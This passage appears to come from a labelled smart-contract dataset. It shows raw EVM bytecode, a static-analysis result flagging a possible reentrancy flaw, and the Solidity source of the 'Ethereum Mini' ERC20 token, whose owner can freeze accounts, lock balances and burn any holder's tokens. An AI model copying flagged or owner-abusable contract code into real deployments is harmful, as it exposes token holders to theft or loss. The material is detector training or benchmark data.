ffffffff16565b60038190555050505050565b60025481565b6000600160149054906101000a900460ff168015610afd57506000600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b8015610b555750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442101580610b5457506003544210155b5b9050919050565b600160149054906101000a900460ff1681565b600a6020528060005260406000206000915090505481565b33610b90611d38565b600681905550610b9e61207b565b600581905550600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610c6b57610be181610596565b600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600654600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600160149054906101000a900460ff16610ced576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f4e6f74207374617274207965740000000000000000000000000000000000000081525060200191505060405180910390fd5b60008211610d63576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f43616e6e6f74207769746864726177203000000000000000000000000000000081525060200191505060405180910390fd5b81600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610e18576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f496e73756666696369656e742062616c616e636520746f20776974686472617781525060200191505060405180910390fd5b610e2133610aa0565b610e76576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a81526020018061263e602a913960400191505060405180910390fd5b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610f1657600080fd5b505afa158015610f2a573d6000803e3d6000fd5b505050506040513d6020811015610f4057600080fd5b81019080805190602001909291905050509050610f6883600254611ec690919063ffffffff16565b600281905550610fc083600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ec690919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061104f33846000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166120959092919063ffffffff16565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156110ef57600080fd5b505afa158015611103573d6000803e3d6000fd5b505050506040513d602081101561111957600080fd5b810190808051906020019092919050505090503373ffffffffffffffffffffffffffffffffffffffff167f75e161b3e824b114fc1a33274bd7091918dd4e639cede50b78b15a4eea956a2185848460405180848152602001838152602001828152602001935050505060405180910390a250505050565b33611199611d38565b6006819055506111a761207b565b600581905550600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614611274576111ea81610596565b600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600654600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600160149054906101000a900460ff166112f6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f4e6f74207374617274207965740000000000000000000000000000000000000081525060200191505060405180910390fd5b600061130133610596565b9050600081111561162f576000600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156113f257600080fd5b505afa158015611406573d6000803e3d6000fd5b505050506040513d602081101561141c57600080fd5b81019080805190602001909291905050509050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f1933846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b1580156114d857600080fd5b505af11580156114ec573d6000803e3d6000fd5b505050506000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561159157600080fd5b505afa1580156115a5573d6000803e3d6000fd5b505050506040513d60208110156115bb57600080fd5b810190808051906020019092919050505090503373ffffffffffffffffffffffffffffffffffffffff167fa4b7979b77c5bef65740b7e1d7a09534eadc2803d5c1cfdae60fa28226be6da284848460405180848152602001838152602001828152602001935050505060405180910390a250505b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60035481565b60096020528060005260406000206000915090505481565b60045481565b60076020528060005260406000206000915090505481565b3361169d611d38565b6006819055506116ab61207b565b600581905550600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614611778576116ee81610596565b600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600654600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600160149054906101000a900460ff166117fa576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f4e6f74207374617274207965740000000000000000000000000000000000000081525060200191505060405180910390fd5b60008211611870576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f43616e6e6f74207374616b65203000000000000000000000000000000000000081525060200191505060405180910390fd5b816000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231336040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561190f57600080fd5b505afa158015611923573d6000803e3d6000fd5b505050506040513d602081101561193957600080fd5b810190808051906020019092919050505010156119be576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f696e73756666696369656e742062616c616e636520746f207374616b6500000081525060200191505060405180910390fd5b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015611a5e57600080fd5b505afa158015611a72573d6000803e3d6000fd5b505050506040513d6020811015611a8857600080fd5b81019080805190602001909291905050509050611ae93330856000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16612166909392919063ffffffff16565b611afe83600254611fe090919063ffffffff16565b600281905550611b5683600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fe090919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015611c3957600080fd5b505afa158015611c4d573d6000803e3d6000fd5b505050506040513d6020811015611c6357600080fd5b81019080805190602001909291905050509050611c8b611c2042611fe090919063ffffffff16565b600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff167fb4caaf29adda3eefee3ad552a8e85058589bf834c7466cae4ee58787f70589ed85848460405180848152602001838152602001828152602001935050505060405180910390a250505050565b60055481565b6000806002541415611d4e576006549050611dc3565b611dc0611daf600254611da1670de0b6b3a7640000611d93600454611d85600554611d7761207b565b611ec690919063ffffffff16565b611f1090919063ffffffff16565b611f1090919063ffffffff16565b611f9690919063ffffffff16565b600654611fe090919063ffffffff16565b90505b90565b60065481565b600160149054906101000a900460ff16611e4e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f4e6f74207374617274207965740000000000000000000000000000000000000081525060200191505060405180910390fd5b611e96600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b87565b611e9e611190565b565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000611f0883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061226c565b905092915050565b600080831415611f235760009050611f90565b6000828402905082848281611f3457fe5b0414611f8b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806126686021913960400191505060405180910390fd5b809150505b92915050565b6000611fd883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061232c565b905092915050565b60008082840190508381101561205e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600080823b905060008111915050919050565b6000600354421061208e57600354612090565b425b905090565b612161838473ffffffffffffffffffffffffffffffffffffffff1663a9059cbb905060e01b8484604051602401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506123f2565b505050565b612266848573ffffffffffffffffffffffffffffffffffffffff166323b872dd905060e01b858585604051602401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506123f2565b50505050565b6000838311158290612319576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156122de5780820151818401526020810190506122c3565b50505050905090810190601f16801561230b5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080831182906123d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561239d578082015181840152602081019050612382565b50505050905090810190601f1680156123ca5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816123e457fe5b049050809150509392505050565b6124118273ffffffffffffffffffffffffffffffffffffffff16612068565b612483576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e74726163740081525060200191505060405180910390fd5b600060608373ffffffffffffffffffffffffffffffffffffffff16836040518082805190602001908083835b602083106124d257805182526020820191506020810190506020830392506124af565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114612534576040519150601f19603f3d011682016040523d82523d6000602084013e612539565b606091505b5091509150816125b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c656481525060200191505060405180910390fd5b600081511115612637578080602001905160208110156125d057600080fd5b8101908080519060200190929190505050612636576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180612689602a913960400191505060405180910390fd5b5b5050505056fe4d757374206265206c6f636b656420666f722031342064617973206f72204d696e696e6720656e646564536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a165627a7a72305820cf472fa9692112a96e4bf7d713037ae78a3ae3fffc50535608a5e87c1e1cb3db0029
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
7,445
0xc55a34ed7f6eac0403555b6ebbdae0b55d9dd307
// ---------------------------------------------------------------------------- // Ethereum Minin contract // Name : Ethereum Mini // Symbol : ETM // Decimals : 18 // InitialSupply : 100,000,000 ETM // ---------------------------------------------------------------------------- pragma solidity 0.5.8; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } } contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) internal _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount)); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue)); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 value) internal { require(account != address(0), "ERC20: burn from the zero address"); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } function _approve(address owner, address spender, uint256 value) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = value; emit Approval(owner, spender, value); } function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, msg.sender, _allowances[account][msg.sender].sub(amount)); } } contract EthereumMini is ERC20 { string public constant name = "Ethereum Mini"; string public constant symbol = "ETM"; uint8 public constant decimals = 18; uint256 public constant initialSupply = 100000000 * (10 ** uint256(decimals)); constructor() public { super._mint(msg.sender, initialSupply); owner = msg.sender; } address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); modifier onlyOwner() { require(msg.sender == owner, "Not owner"); _; } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0), "Already Owner"); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused, "Paused by owner"); _; } modifier whenPaused() { require(paused, "Not paused now"); _; } function pause() public onlyOwner whenNotPaused { paused = true; emit Pause(); } function unpause() public onlyOwner whenPaused { paused = false; emit Unpause(); } event Frozen(address target); event Unfrozen(address target); mapping(address => bool) internal freezes; modifier whenNotFrozen() { require(!freezes[msg.sender], "Sender account is locked."); _; } function freeze(address _target) public onlyOwner { freezes[_target] = true; emit Frozen(_target); } function unfreeze(address _target) public onlyOwner { freezes[_target] = false; emit Unfrozen(_target); } function isFrozen(address _target) public view returns (bool) { return freezes[_target]; } function transfer( address _to, uint256 _value ) public whenNotFrozen whenNotPaused returns (bool) { releaseLock(msg.sender); return super.transfer(_to, _value); } function transferFrom( address _from, address _to, uint256 _value ) public whenNotPaused returns (bool) { require(!freezes[_from], "From account is locked."); releaseLock(_from); return super.transferFrom(_from, _to, _value); } event Burn(address indexed burner, uint256 value); function burn(address _who, uint256 _value) public onlyOwner { require(_value <= super.balanceOf(_who), "Balance is too small."); _burn(_who, _value); emit Burn(_who, _value); } struct LockInfo { uint256 releaseTime; uint256 balance; } mapping(address => LockInfo[]) internal lockInfo; event Lock(address indexed holder, uint256 value, uint256 releaseTime); event Unlock(address indexed holder, uint256 value); function balanceOf(address _holder) public view returns (uint256 balance) { uint256 lockedBalance = 0; for(uint256 i = 0; i < lockInfo[_holder].length ; i++ ) { lockedBalance = lockedBalance.add(lockInfo[_holder][i].balance); } return super.balanceOf(_holder).add(lockedBalance); } function releaseLock(address _holder) internal { for(uint256 i = 0; i < lockInfo[_holder].length ; i++ ) { if (lockInfo[_holder][i].releaseTime <= now) { _balances[_holder] = _balances[_holder].add(lockInfo[_holder][i].balance); emit Unlock(_holder, lockInfo[_holder][i].balance); lockInfo[_holder][i].balance = 0; if (i != lockInfo[_holder].length - 1) { lockInfo[_holder][i] = lockInfo[_holder][lockInfo[_holder].length - 1]; i--; } lockInfo[_holder].length--; } } } function lockCount(address _holder) public view returns (uint256) { return lockInfo[_holder].length; } function lockState(address _holder, uint256 _idx) public view returns (uint256, uint256) { return (lockInfo[_holder][_idx].releaseTime, lockInfo[_holder][_idx].balance); } function lock(address _holder, uint256 _amount, uint256 _releaseTime) public onlyOwner { require(super.balanceOf(_holder) >= _amount, "Balance is too small."); _balances[_holder] = _balances[_holder].sub(_amount); lockInfo[_holder].push( LockInfo(_releaseTime, _amount) ); emit Lock(_holder, _amount, _releaseTime); } function unlock(address _holder, uint256 i) public onlyOwner { require(i < lockInfo[_holder].length, "No lock information."); _balances[_holder] = _balances[_holder].add(lockInfo[_holder][i].balance); emit Unlock(_holder, lockInfo[_holder][i].balance); lockInfo[_holder][i].balance = 0; if (i != lockInfo[_holder].length - 1) { lockInfo[_holder][i] = lockInfo[_holder][lockInfo[_holder].length - 1]; } lockInfo[_holder].length--; } function transferWithLock(address _to, uint256 _value, uint256 _releaseTime) public onlyOwner returns (bool) { require(_to != address(0), "wrong address"); require(_value <= super.balanceOf(owner), "Not enough balance"); _balances[owner] = _balances[owner].sub(_value); lockInfo[_to].push( LockInfo(_releaseTime, _value) ); emit Transfer(owner, _to, _value); emit Lock(_to, _value, _releaseTime); return true; } }
0x608060405234801561001057600080fd5b506004361061018e5760003560e01c80638456cb59116100de578063a9059cbb11610097578063df03458611610071578063df034586146104ff578063e2ab691d14610525578063e583983614610557578063f2fde38b1461057d5761018e565b8063a9059cbb14610473578063dd62ed3e1461049f578063de6baccb146104cd5761018e565b80638456cb59146103c15780638d1fdf2f146103c95780638da5cb5b146103ef57806395d89b41146104135780639dc29fac1461041b578063a457c2d7146104475761018e565b8063395093511161014b57806346cf1bb51161012557806346cf1bb5146103225780635c975abb1461036757806370a082311461036f5780637eee288d146103955761018e565b806339509351146102c65780633f4ba83a146102f257806345c8b1a6146102fc5761018e565b806306fdde0314610193578063095ea7b31461021057806318160ddd1461025057806323b872dd1461026a578063313ce567146102a0578063378dc3dc146102be575b600080fd5b61019b6105a3565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101d55781810151838201526020016101bd565b50505050905090810190601f1680156102025780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61023c6004803603604081101561022657600080fd5b506001600160a01b0381351690602001356105dc565b604080519115158252519081900360200190f35b6102586105f2565b60408051918252519081900360200190f35b61023c6004803603606081101561028057600080fd5b506001600160a01b038135811691602081013590911690604001356105f9565b6102a86106e0565b6040805160ff9092168252519081900360200190f35b6102586106e5565b61023c600480360360408110156102dc57600080fd5b506001600160a01b0381351690602001356106f4565b6102fa610735565b005b6102fa6004803603602081101561031257600080fd5b50356001600160a01b0316610822565b61034e6004803603604081101561033857600080fd5b506001600160a01b0381351690602001356108cb565b6040805192835260208301919091528051918290030190f35b61023c610944565b6102586004803603602081101561038557600080fd5b50356001600160a01b0316610954565b6102fa600480360360408110156103ab57600080fd5b506001600160a01b0381351690602001356109ee565b6102fa610c9c565b6102fa600480360360208110156103df57600080fd5b50356001600160a01b0316610d85565b6103f7610e31565b604080516001600160a01b039092168252519081900360200190f35b61019b610e40565b6102fa6004803603604081101561043157600080fd5b506001600160a01b038135169060200135610e62565b61023c6004803603604081101561045d57600080fd5b506001600160a01b038135169060200135610f60565b61023c6004803603604081101561048957600080fd5b506001600160a01b038135169060200135610f9c565b610258600480360360408110156104b557600080fd5b506001600160a01b038135811691602001351661106e565b61023c600480360360608110156104e357600080fd5b506001600160a01b038135169060208101359060400135611099565b6102586004803603602081101561051557600080fd5b50356001600160a01b03166112b6565b6102fa6004803603606081101561053b57600080fd5b506001600160a01b0381351690602081013590604001356112d1565b61023c6004803603602081101561056d57600080fd5b50356001600160a01b0316611440565b6102fa6004803603602081101561059357600080fd5b50356001600160a01b031661145e565b6040518060400160405280600d81526020017f457468657265756d204d696e690000000000000000000000000000000000000081525081565b60006105e93384846114bb565b50600192915050565b6002545b90565b600354600090600160a01b900460ff16156106535760408051600160e51b62461bcd02815260206004820152600f6024820152600160891b6e2830bab9b2b210313c9037bbb732b902604482015290519081900360640190fd5b6001600160a01b03841660009081526004602052604090205460ff16156106c45760408051600160e51b62461bcd02815260206004820152601760248201527f46726f6d206163636f756e74206973206c6f636b65642e000000000000000000604482015290519081900360640190fd5b6106cd846115ad565b6106d88484846117d0565b949350505050565b601281565b6a52b7d2dcc80cd2e400000081565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916105e9918590610730908663ffffffff61182216565b6114bb565b6003546001600160a01b031633146107865760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b600354600160a01b900460ff166107e75760408051600160e51b62461bcd02815260206004820152600e60248201527f4e6f7420706175736564206e6f77000000000000000000000000000000000000604482015290519081900360640190fd5b60038054600160a01b60ff02191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b6003546001600160a01b031633146108735760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b6001600160a01b038116600081815260046020908152604091829020805460ff19169055815192835290517f4feb53e305297ab8fb8f3420c95ea04737addc254a7270d8fc4605d2b9c61dba9281900390910190a150565b6001600160a01b03821660009081526005602052604081208054829190849081106108f257fe5b600091825260208083206002909202909101546001600160a01b03871683526005909152604090912080548590811061092757fe5b906000526020600020906002020160010154915091509250929050565b600354600160a01b900460ff1681565b600080805b6001600160a01b0384166000908152600560205260409020548110156109cd576001600160a01b038416600090815260056020526040902080546109c39190839081106109a257fe5b9060005260206000209060020201600101548361182290919063ffffffff16565b9150600101610959565b506109e7816109db8561187f565b9063ffffffff61182216565b9392505050565b6003546001600160a01b03163314610a3f5760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b6001600160a01b0382166000908152600560205260409020548110610aae5760408051600160e51b62461bcd02815260206004820152601460248201527f4e6f206c6f636b20696e666f726d6174696f6e2e000000000000000000000000604482015290519081900360640190fd5b6001600160a01b03821660009081526005602052604090208054610b10919083908110610ad757fe5b60009182526020808320600160029093020191909101546001600160a01b0386168352908290526040909120549063ffffffff61182216565b6001600160a01b03831660008181526020818152604080832094909455600590529190912080547f6381d9813cabeb57471b5a7e05078e64845ccdb563146a6911d536f24ce960f1919084908110610b6457fe5b9060005260206000209060020201600101546040518082815260200191505060405180910390a26001600160a01b0382166000908152600560205260408120805483908110610baf57fe5b60009182526020808320600160029093020191909101929092556001600160a01b038416815260059091526040902054600019018114610c6e576001600160a01b038216600090815260056020526040902080546000198101908110610c1157fe5b906000526020600020906002020160056000846001600160a01b03166001600160a01b031681526020019081526020016000208281548110610c4f57fe5b6000918252602090912082546002909202019081556001918201549101555b6001600160a01b0382166000908152600560205260409020805490610c97906000198301611bc1565b505050565b6003546001600160a01b03163314610ced5760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b600354600160a01b900460ff1615610d445760408051600160e51b62461bcd02815260206004820152600f6024820152600160891b6e2830bab9b2b210313c9037bbb732b902604482015290519081900360640190fd5b60038054600160a01b60ff021916600160a01b1790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b6003546001600160a01b03163314610dd65760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b6001600160a01b038116600081815260046020908152604091829020805460ff19166001179055815192835290517f8a5c4736a33c7b7f29a2c34ea9ff9608afc5718d56f6fd6dcbd2d3711a1a49139281900390910190a150565b6003546001600160a01b031681565b604051806040016040528060038152602001600160e81b6245544d0281525081565b6003546001600160a01b03163314610eb35760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b610ebc8261187f565b811115610f135760408051600160e51b62461bcd02815260206004820152601560248201527f42616c616e636520697320746f6f20736d616c6c2e0000000000000000000000604482015290519081900360640190fd5b610f1d828261189a565b6040805182815290516001600160a01b038416917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a25050565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916105e9918590610730908663ffffffff61196416565b3360009081526004602052604081205460ff16156110045760408051600160e51b62461bcd02815260206004820152601960248201527f53656e646572206163636f756e74206973206c6f636b65642e00000000000000604482015290519081900360640190fd5b600354600160a01b900460ff161561105b5760408051600160e51b62461bcd02815260206004820152600f6024820152600160891b6e2830bab9b2b210313c9037bbb732b902604482015290519081900360640190fd5b611064336115ad565b6109e783836119c4565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6003546000906001600160a01b031633146110ed5760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b6001600160a01b03841661114b5760408051600160e51b62461bcd02815260206004820152600d60248201527f77726f6e67206164647265737300000000000000000000000000000000000000604482015290519081900360640190fd5b600354611160906001600160a01b031661187f565b8311156111b75760408051600160e51b62461bcd02815260206004820152601260248201527f4e6f7420656e6f7567682062616c616e63650000000000000000000000000000604482015290519081900360640190fd5b6003546001600160a01b03166000908152602081905260409020546111e2908463ffffffff61196416565b600380546001600160a01b039081166000908152602081815260408083209590955588831680835260058252858320865180880188528981528084018b81528254600181810185559387529585902091516002909602909101948555519301929092559254845188815294519194921692600080516020611d30833981519152928290030190a3604080518481526020810184905281516001600160a01b038716927f49eaf4942f1237055eb4cfa5f31c9dfe50d5b4ade01e021f7de8be2fbbde557b928290030190a25060019392505050565b6001600160a01b031660009081526005602052604090205490565b6003546001600160a01b031633146113225760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b8161132c8461187f565b10156113825760408051600160e51b62461bcd02815260206004820152601560248201527f42616c616e636520697320746f6f20736d616c6c2e0000000000000000000000604482015290519081900360640190fd5b6001600160a01b0383166000908152602081905260409020546113ab908363ffffffff61196416565b6001600160a01b0384166000818152602081815260408083209490945560058152838220845180860186528681528083018881528254600181810185559386529484902091516002909502909101938455519201919091558251858152908101849052825191927f49eaf4942f1237055eb4cfa5f31c9dfe50d5b4ade01e021f7de8be2fbbde557b92918290030190a2505050565b6001600160a01b031660009081526004602052604090205460ff1690565b6003546001600160a01b031633146114af5760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b6114b8816119d1565b50565b6001600160a01b03831661150357604051600160e51b62461bcd028152600401808060200182810382526024815260200180611d966024913960400191505060405180910390fd5b6001600160a01b03821661154b57604051600160e51b62461bcd028152600401808060200182810382526022815260200180611d0e6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b60005b6001600160a01b0382166000908152600560205260409020548110156117cc576001600160a01b03821660009081526005602052604090208054429190839081106115f757fe5b906000526020600020906002020160000154116117c4576001600160a01b03821660009081526005602052604090208054611637919083908110610ad757fe5b6001600160a